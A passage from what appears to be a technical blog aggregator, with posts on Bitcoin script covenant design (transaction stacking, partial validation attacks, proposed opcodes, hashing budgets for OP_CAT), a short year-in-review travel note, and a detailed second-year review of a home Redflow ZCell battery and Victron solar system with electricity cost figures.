    Note that such stacking requires real engineering work: we’ve seen how long it took Bitcoin exchanges to implement even simple batching! And for full disclosure: stacking like this is already possible with Lightning with anchor outputs and HTLC transactions, which are signed with SIGHASH_SINGLE|SIGHASH_ANYONECANPAY, and yet I still haven’t implemented stacking in Core Lightning!

    I now want to discuss the dangers of doing this incorrectly, and how OP_TXHASH can support doing it in various scenarios.

    Partial Validation Attacks: A Primer

    I vaguely recall first learning of this attack in the context of signing devices, but I cannot find a reference. ~I’ll add one when some clever reader points it out!~ Greg Sanders’s post Hardware Wallet attacks by input ownership omission and fix though I may have cribbed it from Bitcoin OpTech (Greg he also mentioned jl2012 may have been involved).

    Consider a transaction designed to take a 1BTC input and pay Bob 0.1BTC, with the remaining 0.9BTC going to a change address. Your software asks a signing device to sign the first input. It checks the input, checks the outputs are correct, prompts the user (telling it we’re paying Bob 0.1BTC) and signs it.

    Now consider a transaction which has two identical inputs. Our naive signing device, asked to sign the first input, would see it as valid, and sign it. If we then ask it to sign the second input it would also see it as valid, and sign it. But the transaction would actually pay 1BTC to fees!

    I call this a “Partial Validation Attack”, and the same problem can occur with stacking! In this case, it’s the covenant checking the input, not the hardware wallet. If it does not check other inputs (because it wants to allow you to add fees and/or stack other transactions together), and it would allow other covenants to validate the same outputs, it is vulnerable.

    Partial Validation Exploit: A Covenant Example.

    Imagine you want to create a covenant that forces a transaction to pay all its input amount to a given address, and you have OP_TXHASH and OP_CAT.

    You want it to stack, so you simply validate that output #0 go to the given address, and that the amount match the input amount of the current input. This is fairly easy, you can either use OP_TXHASH to get the hashed amount from output #0, and again from the input and compare, or require the output supply the amount on the stack, duplicate it and hash it, then call OP_TXHASH to hash the output #0 amount and the current input amount, and make sure that’s what they provided.

    Then when you want to spend it, you can pay fees by adding as many inputs (and outputs) as you need without invalidating the transaction.

    Now, you create two 1BTC outputs to this covenant address. Mallory creates a transaction which spends both at once: it pays 1BTC to your required address (output #0) and sends the other 1BTC to their own address, stealing your funds. Both inputs’ covenants check that output #0 pays the full amount to the required address, and are satisfied. Oops!

    Avoiding Partial Validation Issues When Stacking Transactions

    This can avoided in one of four ways:

    1. Specify the entire transaction, CTV-style. But then you cannot add fees inline.
    2. Have each input examine all the other inputs. This is limited since there is no looping in Script.
    3. Insist the current input also be at index #0, so there can only be one.
    4. Use relative output addressing, so we examine the output corresponding to the current input.

    Of these options, only the final one (relative output addressing) allows stacking, so obviously that’s my preferred approach.

    Unfortunately, this stacking is only possible with current OP_TXHASH if the number of inputs is equal to the number of outputs. This can often be arranged, but any shared UTXO arrangement results in multi-in-single-out and single-in-multi-out. Can we do better?

    Stacking Odd-Shaped Transactions

    We can imagine OP_TXHASH supporting an indexing scheme which lets you refer to “output = input-number * N” (I proposed this as a possibility in my BIP review). (We can also imagine OP_TX which would let you push the current input number on the stack directly, to do this calculation yourself!).

    This would let us stack have several 1-input/2-output txs. But it wouldn’t let us stack different topologies, like a 1-in/2-out on top of a 2-in/1-out tx.

    I considered adding an “output accumulator” where some OP_TXHASH field selector would increment the “next output” counter. But writing it up I realized that this fails in the presence of OP_SUCCESS which can cause an input to be skipped; that would be a hard fork!

    If we really want to do this in general, we would need to flag how many outputs each input “owns”, such as in the nSequence field. And then have a “relative to owned outputs” modifier in OP_TXHASH. As nSequence bits are limited and this would irreversibly consume some, I am reluctant to propose this unless real world usage of covenants (i.e. after they’re enabled by a soft-fork) shows it would have real onchain benefits.

    Side Note: Things That Don’t Work

    You can imagine handing the output number(s) in the witness (and changing them when you stack the transactions), but that re-introduces the “partial transaction” bug. Similarly, providing multiple signatures for different stacking cases would expose you to the issue.

    Summary

    I believe stacking transactions is going to become popular to reduce fees: while this is currently easy for 1-input-1-output transactions, and the OP_TXHASH proposal makes it possible for N-input-N-outputs, I suspect the N-inputs-1-output an 1-input-N-output cases will be common (shared UTXOs), so we should try to allow those. It would also be nice to design such that we can allow nSequence bits to indicate the number of associated outputs in a future soft fork.

    Wednesday, 3 January 2024

    Rusty RussellOP_SEGMENT: Allowing Introspection to Check Partial Scripts

    In my previous post on Examing scriptpubkeys in Script I pointed out that there are cases where we want to require a certain script condition, but not an exact script: an example would be a vault-like covenant which requires a delay, but doesn’t care what else is in the script.

    The problem with this is that in Taproot scripts, any unknown opcode (OP_SUCCESSx) will cause the entire script to succeed without being executed, so we need to hobble this slightly. My previous proposal of some kind of separator was awkward, so I’ve developed a new idea which is simpler.

    Introducing OP_SEGMENT

    Currently, the entire tapscript is scanned for the OP_SUCCESS opcodes, and succeeds immediately if one it found. This would be modified:

    1. The tapscript is scanned for either OP_SEGMENT or OP_SUCCESSx.
    2. If OP_SEGMENT is found, the script up to that point is executed. If the script does not fail, scanning continues from that point.
    3. If OP_SUCCESSx is found, the script succeeds.

    This basically divides the script into segments, each executed serially. It’s not quite as simple as “cut into pieces by OP_SEGMENT and examine one at a time” because the tapscript is allowed to contain things which would fail to decode altogether, after an OP_SUCCESSx, and we want to retain that property.

    When OP_SEGMENT is executed, it does nothing: it simply limits the range of OP_SUCCESS opcodes.

    Implementation

    The ExecuteWitnessScript would have to be refactored (probably as a separate ExecuteTapScript since 21 of its 38 lines are an “if Tapscript” anyway), and it also implies that the stack limits for the current tapscript would be enforced upon encountering OP_SEGMENT, even if OP_SUCCESS were to follow after.

    Interestingly, the core EvalScript function wouldn’t change except to ignore OP_SEGMENT, as it’s already fairly flexible.

    Note that I haven’t implemented it yet, so there may yet be surprises, but I plan to prototype after the idea has received some review!

    Enjoy!

    Monday, 1 January 2024

    Colin CharlesHello 2024

    At this rate, there is no real blogging here, regardless of the lofty plans to starting writing more. Stats update from Hello 2023:

    219 days on the road (less than 2022! -37, over a month, shocking), 376,961km travelled, 44 cities, 17 countries.

    Can’t say why it was less, because it felt like I spent a long time away…

    In Kuala Lumpur, I purchased a flat (just in time to see Malaysia go down), and I swapped cars (had a good 15 year run). I co-founded a company, and I think there is a lot more to come.

    2024 is shaping up to be exciting, busy, and a year, where one must just do.

    good read: 27 Years Ago, Steve Jobs Said the Best Employees Focus on Content, Not Process. Research Shows He Was Right. in simple terms, just do.

    Friday, 29 December 2023

    Rusty RussellArithmetic Opcodes: What Could They Look Like?

    As noted in my previous post on Dealing with Amounts in Bitcoin Script, it’s possible to use the current opcodes to deal with satoshi values in script, but it’s horribly ugly and inefficient.

    This makes it obvious that we want 64-bit-capable opcodes, and it makes sense to restore disabled opcodes such as OP_AND/OP_OR/OP_XOR/OP_INVERT, as well as OP_LSHIFT, OP_RSHIFT and maybe OP_LEFT, OP_RIGHT and OP_SUBSTR.

    Blockstream’s Elements Arithmetic Opcodes

    Blockstream’s Elements codebase is ahead here, with a full set of 64-bit opcodes available for Liquid. All these operations push a “success” flag on the stack, designed that you can follow with an OP_VERIFY if you want to assert against overflow. They then provide three conversion routines, to convert to and from CScriptNum, and one for converting from 32-bit/4-byte values.

    But frankly, these are ugly. We need more than 31 bits for satoshi amounts, and we may never need more than 64 bits, but the conversions and new opcodes feel messy. Can we do better?

    Generic Variable Length Amounts

    Script amounts are variable length, which is nice when space matters, but terribly awkward for signed values: using the high bit of the last byte, this being little-endian, requires a 0 padding byte if the high bit would otherwise be set. And using negative numbers is not very natural (pun intended!), since we have OP_SUB already.

    What if we simply used unsigned, variable-length little-endian numbers? These are efficient, retain compatibility with current unsigned Script numbers, and yet can be extended to 64 bits or beyond, without worrying about overflow (as much).

    I propose OP_ADDV, which simply adds unsigned two little-endian numbers of arbitrary length. 64 bits is a little simpler to implement, but there are a number of useful bit tricks which can be done with wide values and I can’t see a good reason to add a limit we might regret in future.

    OP_SUBV would have to be Elements-style: pushing the absolute result on the stack, then a “success” flag if the result isn’t negative (effectively, a positive sign bit).

    Limitations on Variable Operations

    If OP_CAT is not limited to 520 bytes as per OP_CAT beyond 520 bytes, then we could make OP_ADDV never fail, since the effective total stack size as per that proposal could not be increased by OP_ADDV (it consumes its inputs). But that introduces the problem of DoS, since on my laptop 2 million iterations (an entire block) of a mildly optimized OP_ADDV of 260,000 bytes would take 120 seconds.

    Thus, even if we were to allow more then 520 byte stack elements, I would propose either limiting the inputs and outputs to 520 bytes, or simply re-using the dynamic hash budget proposed in that post for arithmetic operations.

    Multiply And Divide

    Restoring OP_MUL to apply to variable values is harder, since it’s O(N^2) in the size of the operands: it performs multiple shifts and additions in one operation. Yet both this and OP_DIV are useful (consider the case of calculating a 1% fee).

    I suggest this is a good case for using an Elements-style success flag, rather than aborting the script. This might look like:

    1. Normalize the inputs to eliminate leading zeros.
    2. If either input exceeds 128 bits, push 0 0.
    3. For OP_DIV, if the divisor is 0, push 0 0.
    4. For OP_MUL, if the output overflows, push 0 0.
    5. Otherwise the (normalized) result and 1.

    Both GCC and clang support an extension for 128 bit operations via __uint128_t, so this implementation is fairly trivial (OP_MUL overflow detection is assisted greatly by __builtin_mul_overflow extension in GCC and clang).

    Shift Operations, Splitting and Comparison

    OP_LSHIFT and OP_RSHIFT would now be restored as simple bit operations (there’s no sign bit), treating their argument as unsigned rather than a signed amount. OP_LSHIFT would fail if the result would be excessive (either a 520 byte limit, or a dynamic hash budget limit). Neither would normalize, leaving zero bytes at the front. This is useful when combined with OP_INVERT to make a mask (0 OP_ADDV can be used to normalize if you want).

    OP_LEFT, OP_SUBSTR and OP_RIGHT should probably return empty on out-of-range arguments rather than failing (I’m actually not sure what the original semantics were, but this is generally sensible).

    OP_EQUAL just works, but we need at least a new OP_GREATERTHANV, and I suggest the full complement: OP_GREATERTHANOREQUALV, OP_LESSTHANV and OP_LESSTHANOREQUALV.

    Use for Merkle Tree Construction.

    Regretfully, our comparison opcodes don’t work as OP_LESS which is required for Merkle Tree construction to examine scripts: the SHA256 hashes there need to be compared big-endian, not little endian! So I suggest OP_BYTEREV: this adds some overhead (reverse both merkle hashes to compare them), but is generally a useful opcode to have anyway.

    Summary

    We can extend current bitcoin script numbers fairly cleanly by having new opcodes which deal with variable-length little-endian unsigned numbers. The limits on most of these can be quite large, but if we want excessive limits (> 520 bytes) we need to have a budget like the checksig budget.

    We can deal easily with current CScriptNum numbers, 32-bit numbers used by nLocktime, and 64-bit numbers used by satoshi amounts.

    The soft fork would restore the following opcodes:

    • OP_LSHIFT[^simplified]
    • OP_RSHIFT[^simplified]
    • OP_AND
    • OP_OR
    • OP_XOR
    • OP_INVERT
    • OP_MUL[^extended]
    • OP_DIV[^extended]
    • OP_LEFT
    • OP_RIGHT
    • OP_SUBSTR

    And add the following new ones:

    • OP_ADDV: add two little-endian unsigned numbers
    • OP_SUBV: sub two little-endian unsigned numbers, push non-negative flag
    • OP_GREATERTHANV: compare two little-endian unsigned numbers
    • OP_GREATERTHANOREQUALV: compare two little-endian unsigned numbers
    • OP_LESSTHANV: compare two little-endian unsigned numbers
    • OP_LESSTHANOREQUALV: compare two little-endian unsigned numbers
    • OP_BYTEREV: reverse bytes in the top stack element

    This would make it far easier to deal with numeric fields to bring covenant introspection to its full potential (e.g. OP_TXHASH).

    [^simplified] The original versions preserved sign, but we don’t have that. [^extended] These apply to unsigned numbers up to 128 bits, not just signed 31 bit values as the originals did.

    Thursday, 21 December 2023

    Rusty RussellOP_CAT beyond 520 bytes

    The original OP_CAT proposal limited the result to be 520 bytes, but we want more for covenents which analyze scripts (especially since OP_CAT itself makes scripting more interesting).

    My post showed that it’s fairly simple to allow larger sizes (instead of a limit of 1000 stack elements each with a maximum of 520 bytes each, we reduce the element limit for each element over 520 bytes such that the total is still capped the same).

    Hashing of Large Stack Objects

    But consider hashing operations, such as OP_SHA256. Prior to OP_CAT, it can only be made to hash 520 bytes (9 hash rounds) with three opcodes:

    OP_DUP
    OP_SHA256
    OP_DROP
    

    That’s 3 hash rounds per opcode. With OP_CAT and no 520 byte stack limit we can make a 260,000 byte stack element, and that’s 4062 hash rounds, or 1354 per opcode, which is 450x as expensive so we definitely need to think about it!

    A quick benchmark shows OpenSSL’s sha256 on my laptop takes about 115 microseconds to hash 260k: a block full of such instructions would take about 150 seconds to validate!

    So we need to have some limit, and there are three obvious ways to do it:

    1. Give up, and don’t allow OP_CAT to produce more than 520 bytes.
    2. Use some higher limit for OP_CAT, but still less than 260,000.
    3. Use a weight budget, like BIP-342 does for checksig.

    A quick benchmark on my laptop shows that we can hash about 48k (using the OpenSSL routines) in the time we do a single ECDSA signature verification (and Taproot charges 50 witness weight for each signature routine).

    A simple limit would be to say “1 instruction lets you hash about 1k” and “the tightest loop we can find is three instructions” and so limit OP_CAT to producing 3k. But that seems a little arbitrary, and still quite restrictive for future complex scripts.

    My Proposal: A Dynamic Limit for Hashing

    A dynamic BIP-342-style approach would be to have a “hashing budget” of some number times the total witness weight. SHA256 uses blocks of 64 bytes, but it is easier to simply count bytes, and we don’t need this level of precision.

    I propose we allow a budget of 520 bytes of hashing for each witness byte: this gives us some headroom from the ~1k measurement above, and cannot make any currently-legal script illegal, since the opcode itself would allow the maximal possible stack element.

    This budget is easy to calculate: 520 times total witness weight, and would be consumed by every byte hashed by OP_RIPEMD160, OP_SHA1, OP_SHA256, OP_HASH160, OP_HASH256. I’ve ignored that some of these hash twice, since the second hash amounts to a single block.

    Is 520 Bytes of hashing per Witness Weight Too Limiting?

    Could this budget ever be limiting to future scripts? Not for the case of “your script must look like {merkle tree of some template}” since the presence of the template itself weighs more than enough to allow the hashing. Similarly for merkle calculations, where the neighbor hashes similarly contribute more than enough for the hash operations.

    If you provide the data you’re hashing in your witness, you can’t reasonably hit the limit. One could imagine a future OP_TX which let you query some (unhashed) witness script of (another) input, but even in this case the limit is generous, allowing several kilobytes of hashing.

    What Other Opcodes are Proportional to Element Length?

    Hashing is the obvious case, but several other opcodes work on arbitrary length elements and should be considered. In particular, OP_EQUAL, OP_EQUALVERIFY, the various DUP opcodes, and OP_CAT itself.

    I would really need to hack bitcoind to run exact tests, but modifying my benchmark to do a memcmp of two 260,000 byte blobs takes 3100ns, and allocating and freeing a copy takes 3600.

    The worst case seems to be arranging for 173k on the stack then repeatedly doing:

    OP_DUP
    OP_DUP
    OP_EQUALVERIFY
    

    4MB of this would take about 8.9 seconds to evaluate on my laptop. Mitigating this further would be possible (copy-on-write for stack objects, or adding a budget for linear ops), but 10 seconds is probably not enough to worry about.

    Friday, 10 November 2023

    Tim SerongStill Going With The Flow

    It’s time for a review of the second year of operation of our Redflow ZCell battery and Victron Energy inverter/charger system. To understand what follows it will help to read the earlier posts in this series:

    In case ~12,000 words of background reading seem daunting, I’ll try to summarise the most important details here:

    • We have a 5.94kW solar array hooked up to a Victron MPPT RS solar charge controller, two Victron 5kW Multi-Plus II inverter/chargers, a Victron Cerbo GX console, and a single 10kWh Redflow ZCell battery. It works really well. We’re using most of our generated power locally, and it’s enabled us to blissfully coast through several grid power outages and various other minor glitches. The Victron gear and the ZCell were installed by Lifestyle Electrical Services.
    • Redflow batteries are excellent because you can 100% cycle them every day, and they aren’t a giant lump of lithium strapped to your house that’s impossible to put out if it bursts into flames. The catch is that they need to undergo periodic maintenance where they are completely discharged for a few hours at least every three days. If you have more than one, that’s fine because the maintenance cycles interleave (it’s all automatic). If you only have one, you can’t survive grid outages if you’re in a maintenance period, and you can’t ordinarily use the Cerbo’s Minimum State of Charge (MinSoC) setting to perpetually keep a small charge in the battery in case of emergencies. As we still only have one battery, I’ve spent a fair bit of time experimenting to mitigate this as much as I can.
    • The system itself requires a certain amount of power to run. Think of the pumps and fans in the battery, and the power used directly by the inverters and the console. On top of that a certain amount of power is simply lost to AC/DC conversion and charge/discharge inefficiencies. That’s power that comes into your house from the grid and from the sun that your loads, i.e. the things you care about running, don’t get to use. This is true of all solar PV and battery storage systems to a greater or lesser degree, but it’s not something that people always think about.

    With the background out of the way we can get on to the fun stuff, including a roof replacement, an unexpected fault after a power outage followed by some mains switchboard rewiring, a small electrolyte leak, further hackery to keep a bit of charge in the battery most of the time, and finally some numbers.

    The big job we did this year was replacing our concrete tile roof with colorbond steel. When we bought the house – which is in a rural area and thus a bushfire risk – we thought: “concrete brick exterior, concrete tile roof – sweet, that’s not flammable”. Unfortunately it turns out that while a tile roof works just fine to keep water out, it won’t keep embers out. There’s a gadzillion little gaps where the tiles overlap each other, and in an ember attack, embers will get up in there and ignite the fantastic amount of dust and other stuff that’s accumulated inside the ceiling over several decades, and then your house will burn down. This could be avoided by installing roof blanket insulation under the tiles, but in order to do that you have to first remove all the tiles and put them down somewhere without breaking them, then later put them all back on again. It’s a lot of work. Alternately, you can just rip them all off and replace the whole lot with nice new steel, with roof blanket insulation underneath.

    The colour is called Bluegum.

    Of course, you need good weather to replace a roof, and you need to take your solar panels down while it’s happening. This meant we had twenty-two solar panels stacked on our back porch for three weeks of prime PV time from February 17 – March 9, 2023, which I suspect lost us a good 500kW of power generation. Also, the roof job meant we didn’t have the budget to get a second ZCell this year – for the cost of the roof replacement, we could have had three new ZCells installed – but as my wife rightly pointed out, all the battery storage in the world won’t do you any good if your house burns down.

    We had at least five grid power outages during the year. A few were brief, the grid being down for only a couple of minutes, but there were two longer ones in September (one for 30 minutes, one for about an hour and half). We got through the long ones just fine with either the sun high in the sky, or charge in the battery, or both. One of the earlier short outages though uncovered a problem. On the morning of May 30, my wife woke up to discover there was no power, and thus no running water. Not a good thing to wake up to. This happened while I was away, because of course something like this would happen while I was away. It turns out there had been a grid outage at about 02:10, then the grid power had come back, but our system had not. The Multis ended up in some sort of fault state and were refusing to power our loads. On the console was an alarm message: “#8 – Ground relay test failed”.

    That doesn’t look good.

    Note the times in the console messages are about 08:00. I confirmed via the logs from the VRM portal that the grid really did go out some time between 02:10 and 02:15, but after that there was nothing in the logs until 07:59, which is when my wife used the manual changeover switch to shift all our loads back to direct grid power, bypassing the Victron kit. That brought our internet connection back, along with the running water. I contacted Murray Roberts from Lifestyle Electrical and Simon Hackett for assistance, Murray logged in remotely and reset the Multis, my wife flicked the changeover switch back and everything was fine. But the question remained, what had gone wrong?

    The ground relay in the Multis is there to connect neutral to ground when the grid fails. Neutral and ground are already physically connected on the grid (AC input) side of the Multis in the main switchboard, but when the grid power goes out, the Multis disconnect their inputs, which means the loads on the AC output side no longer have that fixed connection from neutral to ground. The ground relay activates in this case to provide that connection, which is necessary for correct operation of the safety switches on the power circuits in the house.

    The ground relay is tested automatically by the Multis. Looking up Error 8 – Ground relay test failed on Victron’s web site indicated that either the ground relay really was faulty, or possibly there was a wiring fault or an issue with one of the loads in our house. So I did some testing. First, with the battery at 50% State of Charge (SoC), I did the following:

    1. Disconnected all loads (i.e. flipped the breaker on the output side of the Multis)
    2. Killed the mains (i.e. flipped the breaker on the input side of the Multis)
    3. Verified the system switched to inverting mode (i.e. running off the battery)
    4. Restored mains power
    5. Verified there was no error

    This demonstrated that the ground relay and the Multis in general were fine. Had there been a problem at that level we would have seen an error when I restored mains power. I then reconnected the loads and repeated steps 2-5 above. Again, there was no error which indicated the problem wasn’t due to a wiring defect or short in any of the power or lighting circuits. I also re-tested with the heater on and the water pump running just in case there may have been an issue specifically with either of those devices. Again, there was no error.

    The only difference between my test above and the power outage in the middle of the night was that in the middle of the night there was no charge in the battery (it was right after a maintenance cycle) and no power from the sun. So in the evening I turned off the DC isolators for the PV and deactivated my overnight scheduled grid charge so there’d be no backup power of any form in the morning. Then I repeated the test:

    1. Disconnected all loads
    2. Killed the mains.
    3. Checked the console which showed the system as “off”, as opposed to “inverting”, as there was no battery power or solar generation
    4. Restored mains power
    5. Shortly thereafter, I got the ground relay test failed error

    The underlying detailed error message was “PE2 Closed”, which meant that it was seeing the relay as closed when it’s meant to be open. Our best guess is that we’d somehow hit an edge case in the Multi’s ground relay test, where they maybe tried to switch to inverting mode and activated the ground relay, then just died in that state because there was no backup power, and got confused when mains power returned. I got things running again by simply power cycling the Multis.

    So it kinda wasn’t a big deal, except that if the grid went out briefly with no backup power, our loads would remain without power until one of us manually reset the system. This was arguably worse than not having the system at all, especially if it happened in the middle of the night, or when we were away from home. The fact that we didn’t hit this problem in the first year of operation is a testament to how unlikely this event is, but the fact that it could happen at all remained a problem.

    One fix would have been to get a second battery, because then we’d be able to keep at least a tiny bit of backup power at all times regardless of maintenance cycles, but we’re not there yet. Happily, Simon found another fix, which was to physically connect the neutral together between the AC input and AC output sides of the Multis, then reconfigure them to use the grid code “AS4777.2:2015 AC Neutral Path externally joined”. That physical link means the load (output) side picks up the ground connection from the grid (input) side in the swichboard, and changing the grid code setting in the Multis disables the ground relay and thus the test which isn’t necessary anymore.

    Murray needed to come out anyway to replace the carbon sock in the ZCell (a small item of annual maintenance) and was able to do that little bit of rewriting and configuration at the same time. I repeated my tests both with and without backup power and everything worked perfectly, i.e. the system came back immediately by itself after a grid outage with no backup power, and of course switched over to inverting just fine when there was backup power available.

    This leads to the next little bit of fun. The carbon sock is a thing that sits inside the zinc electrolyte tank and helps to keep the electrolyte pH in the correct operating range. Unfortunately I didn’t manage to get a photo of one, but they look a bit like door snakes. Replacing the carbon sock means opening the case, popping one side of the Gas Handling Unit (GHU) off the tank, pulling out the old sock and putting in a new one. Here’s a picture of the ZCell with the back of the case off, indicating where the carbon sock goes:

    The tank on the left (with the cooling fan) is for zinc electrolyte. The tank on the right is for bromine electrolyte. The blocky assembly of pipes going into both tanks is the GHU. The rectangular box behind that contains the electrode stacks.

    When Murray popped the GHU off, he noticed that one of the larger pipes on one side had perished slightly. Thankfully he happened to have a spare GHU with him so was able to replace the assembly immediately. All was well until later that afternoon, when the battery indicated hardware failure due to “Leak 1 Trip” and shut itself down out of an abundance of caution. Upon further investigation the next day, Murry and I discovered there was a tiny split in one of the little hoses going into the GHU which was letting the electrolyte drip out.

    Drip… Drip… Drip…

    This small electrolyte leak was caught lower down in the battery, where the leak sensor is. Murray sucked the leaked electrolyte out of there, re-terminated that little hose and we were back in business. I was happy to learn that Redflow had obviously thought about the possibility of this type of failure and handled it. As I said to Murray at the time, we’d rather have a battery that leaks then turns itself off than a battery that catches fire!

    Aside from those two interesting events, the rest of the year of operation was largely quite boring, which is exactly what one wants from a power system. As before I kept a small overnight scheduled charge and a larger late afternoon scheduled charge active on weekdays to ensure there was some power in the battery to use at peak (i.e. expensive) grid times. In spring and summer the afternoon charge is largely superfluous because the battery has usually been well filled up from the solar by then anyway, but there’s no harm in leaving it turned on. The one hack I did do during the year was to figure out a way to keep a small (I went with 15%) MinSoC in the battery at all times except for maintenance cycle evenings, and the morning after. This is more than enough to smooth out minor grid outages of a few minutes, and given our general load levels should be enough to run the house for more than an hour overnight if necessary, provided the hot water system and heating don’t decide to come on at the same time.

    My earlier experiment along these lines involved a script that ran on the Cerbo twice a day to adjust scheduled charge settings in order to keep the battery at 100% SoC at all times except for peak electricity hours and maintenance cycle evenings. As mentioned in TANSTAAFL I ran that for all of July, August and most of September 2022. It worked fine, but ultimately I decided it was largely a waste of energy and money, especially when run during the winter months when there’s not much sun and you end up doing a lot of grid charging. This is a horribly inefficient way of getting power into the battery (AC to DC) versus charging the battery direct from solar PV. We did still use those scripts in the second year, but rather more judiciously, i.e. we kept an eye on the BOM forecasts as we always do, then occasionally activated the 100% charge when we knew severe weather and/or thunderstorms were on the way, those being the things most likely to cause extended grid outages. I also manually triggered maintenance on the battery earlier than strictly necessary several times when we expected severe weather in the coming days, to avoid having a maintenance cycle (and thus empty battery) coincide with potential outages. On most of those occasions this effort proved to be unnecessary. Bearing all that in mind, my general advice to anyone else with a single ZCell system (aside from maybe adding scheduled charges to time-shift expensive peak electricity) is to just leave it alone and let it do its thing. You’ll use most of your locally generated electricity onsite, you’ll save some money on your power bills, and you’ll avoid some, but not all, grid outages. This is a pretty good position to be in.

    That said, I couldn’t resist messing around some more, hence my MinSoC experiment. Simon’s installation guide points out that “for correct system operation, the Settings->ESS menu ‘Min SoC’ value must be set to 0% in single-ZCell systems”. The issue here is that if MinSoC is greater than 0%, the Victron gear will try to charge the battery while the battery is simultaneously trying to empty itself during maintenance, which of course just isn’t going to work. My solution to this is the following script, which I run from a cron job on the Cerbo twice a day, once at midnight UTC and again at 06:00 UTC with the --check-maintenance flag set:

    Midnight UTC corresponds to the end of our morning peak electricity time, and 06:00 UTC corresponds to the start of our afternoon peak. What this means is that after the morning peak finishes, the MinSoC setting will cause the system to automatically charge the battery to the value specified if it’s not up there already. Given it’s after the morning peak (10:00 AEST / 11:00 AEDT) this charge will likely come from solar PV, not the grid. When the script runs again just before the afternoon peak (16:00 AEST / 17:00 AEDT), MinSoC is set to either the value specified (effectively a no-op), or zero if it’s a maintenance day. This allows the battery to be discharged correctly in the evening on maintenance days, while keeping some charge every other day in case of emergencies. Unlike the script that tries for 100% SoC, this arrangement results in far less grid charging, while still giving protection from minor outages most of the time.

    In case Simon is reading this now and is thinking “FFS, I wrote ‘MinSoC must be set to 0% in single-ZCell systems’ for a reason!” I should also add a note of caution. The script above detects ZCell maintenance cycles based solely on the configured maintenance time limit and the duration since last maintenance. It does not – and cannot – take into account occasions when the user manually forces maintenance, or situations in which a ZCell for whatever reason hypothetically decides to go into maintenance of its own accord. The latter shouldn’t generally happen, but it can. The point is, if you’re running this MinSoC script from a cron job, you really do still want to keep an eye on what the battery is doing each day, in case you need to turn that setting off and disable the cron job. If you’re not up for that I will reiterate my general advice from earlier: just leave the system alone – let it do its thing and you’ll (almost always) be perfectly fine. Or, get a second ZCell and you can ignore the last several paragraphs entirely.

    Now, finally, let’s look at some numbers. The year periods here are a little sloppy for irritating historical reasons. 2018-2019, 2019-2020 and 2020-2021 are all August-based due to Aurora Energy’s previous quarterly billing cycle. The 2021-2022 year starts in late September partly because I had to wait until our new electricity meter was installed in September 2021, and partly because it let me include some nice screenshots when I started writing TANSTAAFL on September 25, 2022. I’ve chosen to make this year (2022-2023) mostly sane, in that it runs from October 1, 2022 through September 30, 2023 inclusive. This is only six days offset from the previous year, but notably makes it much easier to accurately correlate data from the VRM portal with our bills from Aurora. Overall we have five consecutive non-overlapping 12 month periods that are pretty close together. It’s not perfect, but I think it’s good enough to work with for our purposes here.

    YeaRGrid InSolar InTotal InLoadsExport
    2018-20199,0316,68215,71311,8273,886
    2019-20209,3246,46815,79212,2553,537
    2020-20217,5826,34713,92910,3583,571
    2021-20228,5315,64014,17110,849754
    2022-20238,9365,74414,68011,534799

    Overall, 2022-2023 had a similar shape to 2021-2022, including the fact that in both these years we missed three weeks of solar generation in late summer. In 2022 this was due to replacing the MPPT, and in 2023 it was because we replaced the roof. In both cases our PV generation was lower than it should have been by an estimated 500-600kW. Hopefully nothing like this happens again in future years.

    All of our numbers in 2022-2023 were a bit higher than in 2021-2022. We pulled 4.75% more power from the grid, generated 1.84% more solar, the total power going into the system (grid + solar) was 3.59% higher, our loads used 6.31% more power, and we exported 5.97% more power than the previous year.

    I honestly don’t know why our loads used more power this year. Here’s a table showing our consumption for both years, and the differences each month (note that September 2022 is only approximate because of how the years don’t quite line up):

    Month20222023Diff
    October988873-115
    November866805-61
    December767965198
    January822775-47
    February63872183
    March81391198
    April7751,115340
    May9531,098145
    June1,0731,14976
    July1,1181,103-15
    August9661,06599
    September1,070964-116

    Here’s a graph:

    WTF happened in December and April?!?

    Did we use more cooling this December? Did we use more heating this April and May? I dug the nearest weather station’s monthly mean minimum and maximum temperatures out of the BOM Climate Data Online tool and found that there’s maybe a degree or so variance one way or the other each month year to year, so I don’t know what I can infer from that. All I can say is that something happened in December and April, but I don’t know what.

    Another interesting thing is that what I referred to as “the energy cost of the system” in TANSTAAFL has gone down. That’s the kW figure below in the “what?” column, which is the difference between grid in + solar in – loads – export, i.e. the power consumed by the system itself. In 2021-2022, that was 2,568 kW, or about 18% of the total power that went into the system. In 2022-2023 it was down to 2,347kWh, or just under 16%:

    YearGrid InSolar InTotal InLoadsExportTotal Outwhat?
    2021-20228,5315,64014,17110,84975411,6032,568
    2022-20238,9365,74414,68011,53479912,3332,347

    I suspect the cause of this reduction is that we didn’t spend two and a half months doing lots of grid charging of the battery in 2022-2023. If that’s the case, this again points to the advisability of just letting the system do its thing and not messing with it too much unless you really know you need to.

    The last set of numbers I have involve actual money. Here’s what our electricity bills looked like over the past five years:

    YearFrom GridTotal BillCost/kWh
    2018-20199,031$2,278.33$0.25
    2019-20209,324$2,384.79$0.26
    2020-20217,582$1,921.77$0.25
    2021-20228,531$1,731.40$0.20
    2022-20238,936$1,989.12$0.22

    Note that cost/kWh as I have it here is simply the total dollar amount of our bills divided by the total power drawn from the grid (I’m deliberately ignoring the additional power we use that comes from the sun in this calculation). The bills themselves say “peak power costs $X, off-peak costs $Y, you get $Z back for power exported and there’s a daily supply charge of $SUCKS_TO_BE_YOU”, but that’s all noise. What ultimately matters in my opinion is what I call the effective cost per kilowatt hour, which is why those things are all smooshed together here. The important point is that with our existing solar array we were previously effectively paying about $0.25 per kWh for grid power. After getting the battery and switching to Peak & Off-Peak billing, that went down to $0.20/kWh – a reduction of 20%. Now we’ve inched back up to $0.22/kWh, but it turns out that’s just because power prices have increased. As far as I can tell Aurora Energy don’t publish historical pricing data, so as a public service, I’ll include what I’ve been able to glean from our prior bills here:

    • July 2023 onwards:
      • Daily supply charge: $1.26389
      • Peak: $0.36198/kWh
      • Off-Peak: $0.16855/kWh
      • Feed-In Tariff: $0.10869/kWh
    • July 2022 – July 2023
      • Daily supply charge: $1.09903
      • Peak: $0.33399/kWh
      • Off-Peak: $0.15551/kWh
      • Feed-In Tariff: $0.08883/kWh
    • Before July 2022:
      • Daily supply charge: $0.98
      • Peak: $0.29852
      • Off-Peak: $0.139
      • Feed-In Tariff: $0.06501

    It’s nice that the feed-in tariff (i.e. what you get credited when you export power) has gone up quite a bit, but unless you’re somehow able to export 2-3x more power than you import, you’ll never get ahead of the ~20% increase in power prices over the last two years.

